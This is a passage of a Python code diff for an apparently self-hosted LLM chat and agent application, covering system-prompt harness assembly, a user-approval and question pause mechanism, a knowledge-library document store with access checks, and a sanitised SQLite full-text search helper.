for tool in tools
|
||||
if (name := (tool.get("function") or {}).get("name")) in book
|
||||
}
|
||||
return [family for family in tools_service.families(db) if family in offered]
|
||||
|
||||
|
||||
def _tool_names(tools: list[dict[str, Any]]) -> str:
|
||||
return ", ".join(
|
||||
name for tool in tools if (name := (tool.get("function") or {}).get("name"))
|
||||
)
|
||||
|
||||
|
||||
def _document_names(db: DBSession, chat) -> str:
|
||||
"""The names of the non-image files attached anywhere in this chat."""
|
||||
from lembas.db.models import Attachment
|
||||
|
||||
rows = list(
|
||||
db.scalars(
|
||||
select(Attachment.filename)
|
||||
.where(Attachment.chat_id == chat.id, Attachment.kind != "image")
|
||||
.order_by(Attachment.created_at)
|
||||
.limit(MAX_NAMED_DOCUMENTS + 1)
|
||||
).all()
|
||||
)
|
||||
if not rows:
|
||||
return ""
|
||||
if len(rows) > MAX_NAMED_DOCUMENTS:
|
||||
return ", ".join(rows[:MAX_NAMED_DOCUMENTS]) + " and others"
|
||||
return ", ".join(rows)
|
||||
|
||||
|
||||
def context_variables(
|
||||
db: DBSession,
|
||||
user: User | None,
|
||||
tools: list[dict[str, Any]] | None,
|
||||
chat=None,
|
||||
) -> dict[str, str]:
|
||||
"""What every ``{{name}}`` in a fragment resolves to for this request.
|
||||
|
||||
The expensive ones are guarded by family, exactly as the memory block always
|
||||
was: a model with no skills tool must not cause a skills query, and has no
|
||||
business being told the memories either.
|
||||
"""
|
||||
from lembas.services import tools as tools_service
|
||||
|
||||
offered = tools or []
|
||||
families = _families(db, offered)
|
||||
stamp = datetime.now().astimezone()
|
||||
|
||||
values: dict[str, str] = {
|
||||
"today": stamp.strftime("%A %-d %B %Y"),
|
||||
"now": stamp.strftime("%A %-d %B %Y, %H:%M (UTC%z)"),
|
||||
"instance_name": str(settings_store.get(db, "instance_name") or "LLeMbas"),
|
||||
"user_name": (user.name or "") if user is not None else "",
|
||||
"model_name": "",
|
||||
"max_rounds": str(tools_service.MAX_ROUNDS),
|
||||
# Not rendered anywhere. It is the gate on `core.rounds`: an ordinary
|
||||
# chat gets one round and is told to ask for everything at once, an
|
||||
# agent chat is told to keep going, and those are different sentences
|
||||
# rather than the same sentence with a different number in it.
|
||||
"round_budget": str(tools_service.MAX_ROUNDS),
|
||||
"memory_limit": str(memories_service.MAX_MEMORY_CHARS),
|
||||
"tool_names": _tool_names(offered),
|
||||
"memories": memories_service.block(db, user) if "memory" in families else "",
|
||||
"skills": (
|
||||
skills_service.index_block(db, user, exclude=tools_service.scoped_skills_off(chat))
|
||||
if "skills" in families
|
||||
else ""
|
||||
),
|
||||
"knowledge_bases": "",
|
||||
"document_names": "",
|
||||
"agent_target": "",
|
||||
"agent_dir": "",
|
||||
"agent_mode": "",
|
||||
"agent_rewound": "",
|
||||
"project_files": "",
|
||||
"agent_instructions": "",
|
||||
"agent_instructions_file": "",
|
||||
"plan": "",
|
||||
}
|
||||
|
||||
if chat is not None:
|
||||
from lembas.services import chat as chat_service
|
||||
|
||||
model = chat_service.model_for(db, chat)
|
||||
values["model_name"] = model.label if model is not None else chat.model_id
|
||||
# Naming the bases a chat is scoped to matters: without it the model
|
||||
# cannot tell "there is nothing about this" from "I am only allowed to
|
||||
# see the contracts folder", and phrases a miss as the former.
|
||||
if "knowledge" in families and chat.knowledge_bases:
|
||||
values["knowledge_bases"] = ", ".join(base.name for base in chat.knowledge_bases)
|
||||
values["document_names"] = _document_names(db, chat)
|
||||
|
||||
# The one thing a tool description cannot carry, because a description
|
||||
# is schema: which machine, which directory, and what this chat's mode
|
||||
# currently permits. `max_rounds` is corrected here too, or an agent
|
||||
# chat with forty rounds is told it has three.
|
||||
if "agent" in families:
|
||||
values.update(_agent_values(db, chat, user))
|
||||
|
||||
return values
|
||||
|
||||
|
||||
def _agent_values(db: DBSession, chat, user) -> dict[str, str]:
|
||||
"""What an agent chat's harness needs to say about where it is."""
|
||||
from lembas.services import plans as plans_service
|
||||
from lembas.services import settings_store
|
||||
from lembas.services.agent import index as index_service
|
||||
from lembas.services.agent import policy
|
||||
from lembas.services.agent import session as agent_session
|
||||
|
||||
context = agent_session.resolve(db, chat, user)
|
||||
if context is None:
|
||||
return {}
|
||||
|
||||
rewound = ""
|
||||
if getattr(chat, "rewound_at", None) is not None:
|
||||
rewound = chat.rewound_at.strftime("on %-d %B at %H:%M")
|
||||
|
||||
return {
|
||||
"agent_target": context.label,
|
||||
"agent_dir": context.project_dir or "the login directory",
|
||||
"agent_mode": policy.MODE_GUIDANCE.get(context.mode, ""),
|
||||
"agent_rewound": rewound,
|
||||
"max_rounds": str(context.limits.steps),
|
||||
# Blanked, which is what makes `core.rounds` vanish here: `steps` is a
|
||||
# runaway backstop and telling a model it has a budget of two hundred
|
||||
# invites it to ration one.
|
||||
"round_budget": "",
|
||||
"project_files": _project_files(db, chat, context, settings_store, index_service),
|
||||
# Already resolved on the context, from one primary-key lookup in
|
||||
# `agent_session.resolve`. A plan the model cannot see is a plan it
|
||||
# cannot keep current, which is the whole of why this is here.
|
||||
"plan": plans_service.render_block(context.plan),
|
||||
**_project_instructions(db, chat, context, settings_store),
|
||||
}
|
||||
|
||||
|
||||
def _project_instructions(db: DBSession, chat, context, settings_store) -> dict[str, str]:
|
||||
"""The project's own AGENTS.md, from cache and never fetched.
|
||||
|
||||
Written to mirror `_project_files` line for line, and under the same rule:
|
||||
`cached()` only. `generation._warm_project` is what fills it.
|
||||
"""
|
||||
from lembas.services.agent import instructions as instructions_service
|
||||
|
||||
agents = settings_store.agents(db)
|
||||
blank = {"agent_instructions": "", "agent_instructions_file": ""}
|
||||
if not agents.get("instructions_enabled"):
|
||||
return blank
|
||||
budget = int(agents.get("instructions_chars") or 0)
|
||||
if budget <= 0:
|
||||
return blank
|
||||
|
||||
profile_id = getattr(chat, "ssh_profile_id", "") or ""
|
||||
found = instructions_service.cached(profile_id, context.project_dir)
|
||||
text = instructions_service.render(found, budget)
|
||||
if not text:
|
||||
return blank
|
||||
return {"agent_instructions": text, "agent_instructions_file": found.filename}
|
||||
|
||||
|
||||
def _project_files(db: DBSession, chat, context, settings_store, index_service) -> str:
|
||||
"""The directory listing, *read from cache and never fetched*.
|
||||
|
||||
This whole module runs synchronously on the request path, so an SFTP round
|
||||
trip here would hold a request open while somebody's box thought about it.
|
||||
The build happens in the generation setup, which is async and already doing
|
||||
network work; here we take whatever it left behind.
|
||||
|
||||
A chat whose very first reply outruns its first index simply has no listing
|
||||
that turn -- the fragment's `requires` makes it vanish rather than appear as
|
||||
an empty heading, and the next turn has it.
|
||||
"""
|
||||
agents = settings_store.agents(db)
|
||||
if not agents.get("index_enabled"):
|
||||
return ""
|
||||
budget = int(agents.get("index_chars") or 0)
|
||||
if budget <= 0:
|
||||
return ""
|
||||
|
||||
profile_id = getattr(chat, "ssh_profile_id", "") or ""
|
||||
found = index_service.cached(profile_id, context.project_dir)
|
||||
if found is None:
|
||||
return ""
|
||||
return index_service.render(found, budget)
|
||||
|
||||
|
||||
def limit_for(db: DBSession) -> int:
|
||||
"""The ceiling on the assembled block."""
|
||||
stored = settings_store.get(db, "max_harness_chars", key=settings_store.PROMPTS)
|
||||
return int(stored or 0) or MAX_HARNESS_CHARS
|
||||
|
||||
|
||||
def compose_from(
|
||||
db: DBSession,
|
||||
*,
|
||||
variables: dict[str, str],
|
||||
families: list[str],
|
||||
has_tools: bool,
|
||||
overrides: dict[str, str] | None = None,
|
||||
) -> str:
|
||||
"""Assemble the preamble from already-resolved variables.
|
||||
|
||||
Separate from `compose` because the admin preview has no chat and must not
|
||||
invent one: a transient Chat whose `knowledge_bases` collection cannot be
|
||||
populated without real rows is a trap, and taking a plain dict of variables
|
||||
instead sidesteps it entirely.
|
||||
"""
|
||||
return prompts.assemble(
|
||||
db,
|
||||
groups=prompts.HARNESS_GROUPS,
|
||||
variables=variables,
|
||||
families=families,
|
||||
has_tools=has_tools,
|
||||
overrides=overrides,
|
||||
limit=limit_for(db),
|
||||
)
|
||||
|
||||
|
||||
def compose(
|
||||
db: DBSession,
|
||||
user: User | None,
|
||||
tools: list[dict[str, Any]] | None,
|
||||
chat=None,
|
||||
) -> str:
|
||||
"""The operational preamble for this request, or "" when there is nothing to say."""
|
||||
offered = tools or []
|
||||
return compose_from(
|
||||
db,
|
||||
variables=context_variables(db, user, offered, chat),
|
||||
families=_families(db, offered),
|
||||
has_tools=bool(offered),
|
||||
)
|
||||
|
||||
|
||||
def join(harness: str, authored: str, *, lead: str = "") -> str:
|
||||
"""Put the harness in front of whichever authored prompt won.
|
||||
|
||||
Separated from `compose` so the precedence between instance, model and chat
|
||||
stays testable on its own -- this function is the only place the two axes
|
||||
meet. `lead` is the sentence that sits on the seam and says which side wins
|
||||
when they disagree; it is a fragment like everything else, and an empty one
|
||||
leaves the bare rule that was there before.
|
||||
"""
|
||||
if not harness:
|
||||
return authored
|
||||
if not authored:
|
||||
return harness
|
||||
seam = f"{lead}\n\n---" if lead else "---"
|
||||
return f"{harness}\n\n{seam}\n\n{authored}"
|
||||
@@ -0,0 +1,200 @@
|
||||
"""Pausing a reply to ask the person reading it something.
|
||||
|
||||
Three features turn out to be one mechanism. A command that needs approving, a
|
||||
question the model wants answered, and "this reply is waiting for you" are all:
|
||||
stop the generation, put an interactive block in the bubble, wait for a POST,
|
||||
carry on. So there is one primitive, and approval is a shape of question rather
|
||||
than a separate machine.
|
||||
|
||||
Two things about where it sits matter.
|
||||
|
||||
**It pauses a round, not a call.** A round's tool calls run together under a
|
||||
semaphore, and parking four coroutines on four separate answers inside that
|
||||
gather would queue them behind each other invisibly -- and the reader would get
|
||||
four cards, answerable in any order, for commands whose order matters. So one
|
||||
card describes everything in the round that needs a decision, and the calls that
|
||||
survive it run concurrently exactly as they did before.
|
||||
|
||||
**Stop has to keep working.** `generation.cancel` is read in one place, between
|
||||
streamed chunks, and there are no chunks while paused. Rather than a second
|
||||
poller, `generation.request_stop` resolves the pause directly; see the comment
|
||||
there. Nothing in this module reaches back into `services.generation`, which is
|
||||
what keeps it testable on its own.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
import time
|
||||
from dataclasses import dataclass, field
|
||||
from typing import TYPE_CHECKING
|
||||
|
||||
if TYPE_CHECKING: # pragma: no cover - annotation only
|
||||
from lembas.services.generation import Generation
|
||||
|
||||
KIND_APPROVAL = "approval"
|
||||
KIND_QUESTION = "question"
|
||||
|
||||
# How a pause ended.
|
||||
ALLOW = "allow"
|
||||
ALLOW_ALWAYS = "allow_always"
|
||||
DENY = "deny"
|
||||
ANSWER = "answer"
|
||||
CANCELLED = "cancelled" # Stop was pressed while the card was showing
|
||||
EXPIRED = "expired" # nobody answered in time
|
||||
|
||||
# Outcomes that mean "go ahead".
|
||||
PERMITTED = (ALLOW, ALLOW_ALWAYS)
|
||||
|
||||
# A card offering more than this many buttons is a card nobody reads.
|
||||
MAX_OPTIONS = 6
|
||||
|
||||
# And more than this many questions at once is a form, not a conversation. A
|
||||
# model that wants twenty answers should ask for four and then ask again with
|
||||
# what it learned.
|
||||
MAX_QUESTIONS = 8
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class Item:
|
||||
"""One thing being asked about: a single question, or one command.
|
||||
|
||||
`index` is the position of the *call* in its round, so an answer can be
|
||||
matched back to the call it belongs to -- the tool turns have to line up
|
||||
with the assistant turn's `tool_calls`, or an endpoint pairs the wrong
|
||||
result with the right id. Several items can share an index, because one
|
||||
`ask_user` call may carry several questions.
|
||||
|
||||
`key` identifies this item within the card, and is what the form field is
|
||||
named after. Stable and opaque: a question's own text would make a terrible
|
||||
field name, and its position alone would collide across calls.
|
||||
"""
|
||||
|
||||
index: int
|
||||
key: str
|
||||
kind: str
|
||||
tool_name: str
|
||||
title: str
|
||||
detail: str = ""
|
||||
reason: str = ""
|
||||
options: tuple[str, ...] = ()
|
||||
allow_free_text: bool = True
|
||||
|
||||
|
||||
@dataclass
|
||||
class Interruption:
|
||||
"""A reply, stopped, waiting for one answer to cover every item."""
|
||||
|
||||
id: str
|
||||
items: tuple[Item, ...]
|
||||
expires_at: float = 0.0
|
||||
_future: asyncio.Future | None = field(default=None, repr=False, compare=False)
|
||||
|
||||
@property
|
||||
def kind(self) -> str:
|
||||
return KIND_QUESTION if any(i.kind == KIND_QUESTION for i in self.items) else KIND_APPROVAL
|
||||
|
||||
def resolve(self, outcome: str, *, answers: dict[str, str] | None = None) -> bool:
|
||||
"""Complete this pause. Idempotent -- a second answer is ignored.
|
||||
|
||||
Returns whether this call was the one that answered it, which is what
|
||||
the endpoint reports back: a card answered twice (two tabs, a double
|
||||
click) should say so rather than pretend.
|
||||
"""
|
||||
if self._future is None or self._future.done():
|
||||
return False
|
||||
self._future.set_result(Reply(outcome=outcome, answers=dict(answers or {})))
|
||||
return True
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class Reply:
|
||||
"""How a card was answered.
|
||||
|
||||
`answers` is keyed by `Item.key`, so a card carrying four questions comes
|
||||
back as four answers in one go. An approval carries none: the verdict is
|
||||
the whole of it.
|
||||
"""
|
||||
|
||||
outcome: str
|
||||
answers: dict[str, str] = field(default_factory=dict)
|
||||
|
||||
@property
|
||||
def permitted(self) -> bool:
|
||||
return self.outcome in PERMITTED
|
||||
|
||||
@property
|
||||
def ended(self) -> bool:
|
||||
"""Whether this outcome means the whole reply should stop."""
|
||||
return self.outcome == CANCELLED
|
||||
|
||||
def answer_to(self, item: Item) -> str:
|
||||
return (self.answers.get(item.key) or "").strip()
|
||||
|
||||
|
||||
def build(
|
||||
interaction_id: str, items: list[Item] | tuple[Item, ...], *, timeout: float
|
||||
) -> Interruption:
|
||||
"""An interruption with its future attached, ready to be waited on."""
|
||||
return Interruption(
|
||||
id=interaction_id,
|
||||
items=tuple(items),
|
||||
expires_at=time.monotonic() + timeout,
|
||||
_future=asyncio.get_running_loop().create_future(),
|
||||
)
|
||||
|
||||
|
||||
async def wait_for(
|
||||
generation: Generation, interruption: Interruption, *, timeout: float
|
||||
) -> Reply:
|
||||
"""Park the generation on this interruption until somebody answers.
|
||||
|
||||
Sets `generation.pending` and touches, so the follower sends the card on its
|
||||
next frame; clears both in `finally`, so answering makes it disappear. The
|
||||
time spent here accumulates on `generation.waited` and is taken off the
|
||||
reply's wall-clock budget -- a reader who thinks for ten minutes about one
|
||||
command should not thereby spend the whole allowance.
|
||||
"""
|
||||
generation.pending = interruption
|
||||
generation.touch()
|
||||
started = time.monotonic()
|
||||
try:
|
||||
return await asyncio.wait_for(asyncio.shield(interruption._future), timeout)
|
||||
except TimeoutError:
|
||||
return Reply(outcome=EXPIRED)
|
||||
finally:
|
||||
generation.waited += time.monotonic() - started
|
||||
generation.pending = None
|
||||
generation.touch()
|
||||
|
||||
|
||||
def summarise(items: tuple[Item, ...]) -> str:
|
||||
"""What to show in the status line while the card is up."""
|
||||
if not items:
|
||||
return ""
|
||||
if items[0].kind == KIND_QUESTION:
|
||||
return "Waiting for your answer…" if len(items) == 1 else "Waiting for your answers…"
|
||||
if len(items) == 1:
|
||||
return f"Waiting for you to allow {items[0].tool_name}…"
|
||||
return f"Waiting for you to allow {len(items)} actions…"
|
||||
|
||||
|
||||
__all__ = [
|
||||
"ALLOW",
|
||||
"ALLOW_ALWAYS",
|
||||
"ANSWER",
|
||||
"CANCELLED",
|
||||
"DENY",
|
||||
"EXPIRED",
|
||||
"KIND_APPROVAL",
|
||||
"KIND_QUESTION",
|
||||
"MAX_OPTIONS",
|
||||
"MAX_QUESTIONS",
|
||||
"PERMITTED",
|
||||
"Interruption",
|
||||
"Item",
|
||||
"Reply",
|
||||
"build",
|
||||
"summarise",
|
||||
"wait_for",
|
||||
]
|
||||
@@ -0,0 +1,18 @@
|
||||
"""The four stores the model can reach for.
|
||||
|
||||
Knowledge, notes and skills are searched; memory is small enough to be handed
|
||||
over whole. Everything here answers to one visibility rule -- see
|
||||
``services.sharing`` -- and nothing here queries a table without it.
|
||||
"""
|
||||
|
||||
from lembas.services.library.fts import SearchHit, fts_query, search_ids
|
||||
from lembas.services.library.memories import MAX_MEMORY_CHARS
|
||||
from lembas.services.library.skills import SKILL_NAME_PATTERN
|
||||
|
||||
__all__ = [
|
||||
"MAX_MEMORY_CHARS",
|
||||
"SKILL_NAME_PATTERN",
|
||||
"SearchHit",
|
||||
"fts_query",
|
||||
"search_ids",
|
||||
]
|
||||
@@ -0,0 +1,299 @@
|
||||
"""The knowledge library: documents a person has collected.
|
||||
|
||||
Ingestion is deliberately **not** written here. A knowledge document and a chat
|
||||
attachment are the same processing problem -- sniff the bytes, downscale the
|
||||
image, extract the PDF once -- so both go through
|
||||
``services.files.prepare``. Keeping one pipeline is what guarantees the same
|
||||
PDF produces the same text whichever way it arrived, and it is why `Document`
|
||||
carries the same content columns as `Attachment`.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
import secrets
|
||||
from pathlib import Path
|
||||
|
||||
from sqlalchemy import select
|
||||
from sqlalchemy.orm import Session as DBSession
|
||||
|
||||
from lembas.config import settings
|
||||
from lembas.db.models import SOURCE_LINK, SOURCE_UPLOAD, Document, KnowledgeBase, User
|
||||
from lembas.services import files as files_service
|
||||
from lembas.services import sharing
|
||||
from lembas.services.fetch import Fetched
|
||||
from lembas.services.library.fts import search_ids
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
INDEX = "documents_fts"
|
||||
|
||||
# What a first base is called when one has to be invented -- on the first
|
||||
# upload, or for documents that predate bases existing.
|
||||
DEFAULT_BASE_NAME = "My documents"
|
||||
|
||||
# How much of a document's text a search result carries back to the model. A
|
||||
# whole 100-page extract would swallow the context window; this is enough to
|
||||
# judge relevance and to answer from, and `knowledge_get` fetches the rest.
|
||||
SNIPPET_CHARS = 1200
|
||||
|
||||
|
||||
def library_dir() -> Path:
|
||||
"""Where library files live, beside but separate from chat attachments."""
|
||||
path = settings.uploads_dir / "library"
|
||||
path.mkdir(parents=True, exist_ok=True)
|
||||
return path
|
||||
|
||||
|
||||
def stored_path(stored_name: str) -> Path | None:
|
||||
"""Resolve a stored name, refusing anything outside the library directory.
|
||||
|
||||
The same check as ``services.files.stored_path``, against a different root.
|
||||
"""
|
||||
if not stored_name or "/" in stored_name or "\\" in stored_name or stored_name.startswith("."):
|
||||
return None
|
||||
base = library_dir().resolve()
|
||||
path = (base / stored_name).resolve()
|
||||
try:
|
||||
path.relative_to(base)
|
||||
except ValueError:
|
||||
return None
|
||||
return path if path.is_file() else None
|
||||
|
||||
|
||||
# --- Bases -------------------------------------------------------------------
|
||||
def visible_bases(db: DBSession, user: User | None):
|
||||
return select(KnowledgeBase).where(sharing.visible_to(KnowledgeBase, user))
|
||||
|
||||
|
||||
def get_base(db: DBSession, base_id: str, user: User | None) -> KnowledgeBase | None:
|
||||
base = db.get(KnowledgeBase, base_id)
|
||||
if base is None or not sharing.can_read(db, base, user):
|
||||
return None
|
||||
return base
|
||||
|
||||
|
||||
def create_base(
|
||||
db: DBSession, *, owner: User, name: str, description: str = ""
|
||||
) -> KnowledgeBase:
|
||||
name = " ".join((name or "").split())[:200] or DEFAULT_BASE_NAME
|
||||
existing = db.scalar(
|
||||
select(KnowledgeBase).where(
|
||||
KnowledgeBase.owner_id == owner.id, KnowledgeBase.name == name
|
||||
)
|
||||
)
|
||||
if existing is not None:
|
||||
raise ValueError(f"You already have a knowledge base called {name!r}.")
|
||||
|
||||
base = KnowledgeBase(owner_id=owner.id, name=name, description=description.strip()[:2000])
|
||||
db.add(base)
|
||||
db.commit()
|
||||
return base
|
||||
|
||||
|
||||
def default_base(db: DBSession, owner: User) -> KnowledgeBase:
|
||||
"""The base a document goes into when none was chosen.
|
||||
|
||||
Made on demand rather than at registration, so an account that never uses
|
||||
the library never grows an empty one.
|
||||
"""
|
||||
base = db.scalar(
|
||||
select(KnowledgeBase)
|
||||
.where(KnowledgeBase.owner_id == owner.id)
|
||||
.order_by(KnowledgeBase.created_at)
|
||||
)
|
||||
if base is not None:
|
||||
return base
|
||||
base = KnowledgeBase(owner_id=owner.id, name=DEFAULT_BASE_NAME)
|
||||
db.add(base)
|
||||
db.commit()
|
||||
return base
|
||||
|
||||
|
||||
def delete_base(db: DBSession, base: KnowledgeBase) -> None:
|
||||
"""Delete a base and everything in it.
|
||||
|
||||
The documents go too -- a base is a place, not a label, and leaving its
|
||||
contents behind with nowhere to live would need an "unfiled" concept that
|
||||
exists only to hold the wreckage of deletes.
|
||||
"""
|
||||
for document in list(base.documents):
|
||||
path = stored_path(document.stored_name)
|
||||
if path is not None:
|
||||
path.unlink(missing_ok=True)
|
||||
sharing.forget_resource(db, base)
|
||||
db.delete(base)
|
||||
db.commit()
|
||||
|
||||
|
||||
def sweep_unfiled(db: DBSession) -> int:
|
||||
"""File documents that predate knowledge bases into their owner's default.
|
||||
|
||||
`Document.base_id` is nullable only because the column had to be added to a
|
||||
table that already had rows. This is what makes "always set" true in
|
||||
practice, and it runs at startup beside the orphaned-upload sweep.
|
||||
"""
|
||||
# Empty string as well as NULL: an earlier release added the column with a
|
||||
# type-derived default, so a deployment that upgraded through it has rows
|
||||
# holding "" rather than NULL. Both mean the same thing here.
|
||||
unfiled = list(
|
||||
db.scalars(select(Document).where((Document.base_id.is_(None)) | (Document.base_id == "")))
|
||||
)
|
||||
if not unfiled:
|
||||
return 0
|
||||
|
||||
bases: dict[str, KnowledgeBase] = {}
|
||||
for document in unfiled:
|
||||
owner = db.get(User, document.owner_id)
|
||||
if owner is None:
|
||||
continue
|
||||
if owner.id not in bases:
|
||||
bases[owner.id] = default_base(db, owner)
|
||||
document.base_id = bases[owner.id].id
|
||||
|
||||
db.commit()
|
||||
log.info("filed %d document(s) that predated knowledge bases", len(unfiled))
|
||||
return len(unfiled)
|
||||
|
||||
|
||||
# --- Creating ----------------------------------------------------------------
|
||||
def store_upload(
|
||||
db: DBSession,
|
||||
*,
|
||||
owner: User,
|
||||
payload: bytes,
|
||||
filename: str,
|
||||
title: str = "",
|
||||
base: KnowledgeBase | None = None,
|
||||
) -> Document:
|
||||
"""Add an uploaded file to the library. Raises files.FileError if unusable."""
|
||||
prepared = files_service.prepare(payload, filename)
|
||||
base = base or default_base(db, owner)
|
||||
|
||||
stored_name = f"{secrets.token_hex(16)}{prepared.extension}"
|
||||
(library_dir() / stored_name).write_bytes(prepared.payload)
|
||||
|
||||
display = files_service.safe_display_name(filename)
|
||||
document = Document(
|
||||
owner_id=owner.id,
|
||||
base_id=base.id,
|
||||
title=(title.strip() or display)[:300],
|
||||
source=SOURCE_UPLOAD,
|
||||
filename=display,
|
||||
stored_name=stored_name,
|
||||
media_type=prepared.media_type,
|
||||
size_bytes=len(prepared.payload),
|
||||
kind=prepared.kind,
|
||||
width=prepared.width,
|
||||
height=prepared.height,
|
||||
extracted_text=prepared.extracted_text,
|
||||
pages=prepared.pages,
|
||||
truncated=prepared.truncated,
|
||||
extraction_error=prepared.extraction_error,
|
||||
)
|
||||
db.add(document)
|
||||
db.commit()
|
||||
log.info("library: stored %r (%s) for %s", document.title, document.kind, owner.email)
|
||||
return document
|
||||
|
||||
|
||||
def store_page(
|
||||
db: DBSession, *, owner: User, page: Fetched, base: KnowledgeBase | None = None
|
||||
) -> Document:
|
||||
"""Add a fetched web page to the library.
|
||||
|
||||
Saved as text rather than as the original HTML: the point of keeping it is
|
||||
what it said, and the markup would have to be reduced again on every read.
|
||||
"""
|
||||
base = base or default_base(db, owner)
|
||||
document = Document(
|
||||
owner_id=owner.id,
|
||||
base_id=base.id,
|
||||
title=page.title[:300] or page.url[:300],
|
||||
source=SOURCE_LINK,
|
||||
source_url=page.url,
|
||||
filename="",
|
||||
media_type="text/plain",
|
||||
size_bytes=len(page.text.encode("utf-8")),
|
||||
kind="text",
|
||||
extracted_text=page.text,
|
||||
truncated=page.truncated,
|
||||
)
|
||||
db.add(document)
|
||||
db.commit()
|
||||
log.info("library: saved page %r for %s", document.title, owner.email)
|
||||
return document
|
||||
|
||||
|
||||
# --- Reading -----------------------------------------------------------------
|
||||
def visible(db: DBSession, user: User | None, *, base_ids: list[str] | None = None):
|
||||
"""Documents this user may see, optionally narrowed to some bases.
|
||||
|
||||
Visibility comes from the base, not the document: a document is readable by
|
||||
whoever can read the base it lives in. That is the whole reason bases are
|
||||
shareable and documents are not.
|
||||
"""
|
||||
condition = Document.base_id.in_(
|
||||
select(KnowledgeBase.id).where(sharing.visible_to(KnowledgeBase, user))
|
||||
)
|
||||
query = select(Document).where(condition)
|
||||
if base_ids:
|
||||
# Still filtered by visibility above, so naming a base you cannot see
|
||||
# returns nothing rather than granting access to it.
|
||||
query = query.where(Document.base_id.in_(base_ids))
|
||||
return query
|
||||
|
||||
|
||||
def get(db: DBSession, document_id: str, user: User | None) -> Document | None:
|
||||
document = db.get(Document, document_id)
|
||||
if document is None:
|
||||
return None
|
||||
base = db.get(KnowledgeBase, document.base_id) if document.base_id else None
|
||||
if base is None or not sharing.can_read(db, base, user):
|
||||
return None
|
||||
return document
|
||||
|
||||
|
||||
def search(
|
||||
db: DBSession,
|
||||
user: User | None,
|
||||
needle: str,
|
||||
*,
|
||||
limit: int = 10,
|
||||
base_ids: list[str] | None = None,
|
||||
) -> list[Document]:
|
||||
"""Documents matching `needle` that this user may see, best match first.
|
||||
|
||||
The index is searched first and the visibility filter applied to the rows
|
||||
it returned. That order matters: filtering afterwards is what makes it
|
||||
impossible for a hit on somebody else's document to leak, even as a count.
|
||||
"""
|
||||
hits = search_ids(db, INDEX, needle, limit=limit * 4)
|
||||
if not hits:
|
||||
return []
|
||||
|
||||
order = {hit.id: position for position, hit in enumerate(hits)}
|
||||
rows = list(
|
||||
db.scalars(
|
||||
visible(db, user, base_ids=base_ids).where(Document.id.in_(list(order)))
|
||||
)
|
||||
)
|
||||
rows.sort(key=lambda document: order.get(document.id, len(order)))
|
||||
return rows[:limit]
|
||||
|
||||
|
||||
def snippet(document: Document) -> str:
|
||||
"""The part of a document a search result carries."""
|
||||
text = (document.extracted_text or "").strip()
|
||||
if len(text) <= SNIPPET_CHARS:
|
||||
return text
|
||||
return text[:SNIPPET_CHARS].rstrip() + "…"
|
||||
|
||||
|
||||
# --- Removing ----------------------------------------------------------------
|
||||
def delete(db: DBSession, document: Document) -> None:
|
||||
path = stored_path(document.stored_name)
|
||||
if path is not None:
|
||||
path.unlink(missing_ok=True)
|
||||
db.delete(document)
|
||||
db.commit()
|
||||
@@ -0,0 +1,95 @@
|
||||
"""Querying the full-text indexes.
|
||||
|
||||
One helper for all three stores. The interesting part is turning what somebody
|
||||
typed into something FTS5 will accept: its MATCH syntax has operators (`AND`,
|
||||
`NEAR`, `*`, `^`, `:`) and a quoting rule, so a bare question mark or an
|
||||
unbalanced quote is a syntax error rather than a search that finds nothing.
|
||||
|
||||
Every token is therefore quoted and the operators are dropped. That costs the
|
||||
ability to type an FTS expression on purpose, which nobody was going to do, and
|
||||
buys a search box that cannot be made to throw.
|
||||
|
||||
Search returns ids and leaves loading to the caller, which is what keeps the
|
||||
visibility filter in one place: `services.sharing.visible_to` is applied to the
|
||||
row query, not here.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
import re
|
||||
from dataclasses import dataclass
|
||||
|
||||
from sqlalchemy import text
|
||||
from sqlalchemy.orm import Session as DBSession
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
# Anything that is not a word character or an apostrophe is a separator. Keeps
|
||||
# accented letters (\w is Unicode-aware here) and loses the operators.
|
||||
_TOKENS = re.compile(r"[^\W_]+(?:'[^\W_]+)*", re.UNICODE)
|
||||
|
||||
MAX_TERMS = 24
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class SearchHit:
|
||||
id: str
|
||||
rank: float
|
||||
|
||||
|
||||
def _terms(needle: str) -> list[str]:
|
||||
tokens = _TOKENS.findall(needle or "")[:MAX_TERMS]
|
||||
# Doubling any embedded quote is the FTS5 escape; tokens cannot contain one
|
||||
# after the regex above, but the rule is written out so it stays true if the
|
||||
# pattern is ever loosened.
|
||||
return ['"' + token.replace('"', '""') + '"' for token in tokens]
|
||||
|
||||
|
||||
def fts_query(needle: str, *, operator: str = "AND") -> str:
|
||||
"""Turn typed text into a safe FTS5 MATCH expression."""
|
||||
terms = _terms(needle)
|
||||
return f" {operator} ".join(terms) if terms else ""
|
||||
|
||||
|
||||
def search_ids(
|
||||
db: DBSession, index: str, needle: str, *, limit: int = 20
|
||||
) -> list[SearchHit]:
|
||||
"""Ids matching `needle`, best first.
|
||||
|
||||
`index` is a table name from db.migrations.FTS_INDEXES and never comes from
|
||||
a request -- it is interpolated because SQLite cannot parameterise an
|
||||
identifier, so it must stay that way.
|
||||
|
||||
Every term is required first, then any of them. AND alone is right for a
|
||||
search box, where more words should narrow the result -- but the caller here
|
||||
is usually a *model*, which writes "who built the west gate of Moria and
|
||||
what is its password" rather than "moria gate". One word absent from the
|
||||
document then loses the match entirely. Falling back to OR keeps precision
|
||||
where it works and recall where it does not, and bm25 sorts the difference
|
||||
out: documents matching more terms rank higher anyway.
|
||||
"""
|
||||
if not fts_query(needle):
|
||||
return []
|
||||
|
||||
def run(query: str) -> list[SearchHit]:
|
||||
try:
|
||||
rows = db.execute(
|
||||
text(
|
||||
f"SELECT id, bm25({index}) AS rank FROM {index} " # noqa: S608 - see above
|
||||
f"WHERE {index} MATCH :q ORDER BY rank LIMIT :limit"
|
||||
),
|
||||
{"q": query, "limit": max(1, min(limit, 100))},
|
||||
).fetchall()
|
||||
except Exception: # noqa: BLE001 - a broken index must not break the page
|
||||
log.exception("full-text search failed on %s", index)
|
||||
# Rolled back because a failed statement leaves the session
|
||||
# unusable: without this, one broken search turns into every later
